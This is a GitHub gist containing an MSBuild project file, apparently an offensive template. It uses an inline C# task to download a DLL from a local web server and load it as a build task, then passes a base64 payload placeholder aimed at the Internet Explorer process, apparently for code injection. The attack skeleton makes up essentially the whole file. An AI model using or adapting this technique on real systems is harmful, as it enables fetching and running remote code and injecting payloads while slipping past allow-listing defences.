Skip to content

Instantly share code, notes, and snippets.

@bytecod3r
Created January 20, 2020 06:10
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bytecod3r/17e4f8c5384b29d94b70fc6481e384ab to your computer and use it in GitHub Desktop.
Save bytecod3r/17e4f8c5384b29d94b70fc6481e384ab to your computer and use it in GitHub Desktop.
msbuildapicaller.csproj
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<UsingTask TaskName="DownloadFile" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<ParameterGroup>
<Address ParameterType="System.String" Required="true" />
<FileName ParameterType="System.String" Required="true" />
</ParameterGroup>
<Task>
<Reference Include="System" />
<Code Type="Fragment" Language="cs"><![CDATA[new System.Net.WebClient().DownloadFile(Address, FileName);]]></Code>
</Task>
</UsingTask>
<Target Name="DownloadSomething">
<DownloadFile Address="http://localhost:8080/IEShim.dll" FileName="localfilepath" />
</Target>
<Target Name="MyTarget">
<SimpleTask MyCode="base64 here.." MyProcess="C:\Program Files\Internet Explorer\iexplore.exe" />
</Target>
<UsingTask TaskName="SimpleTask" AssemblyFile="IEShim.dll" />
</Project>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment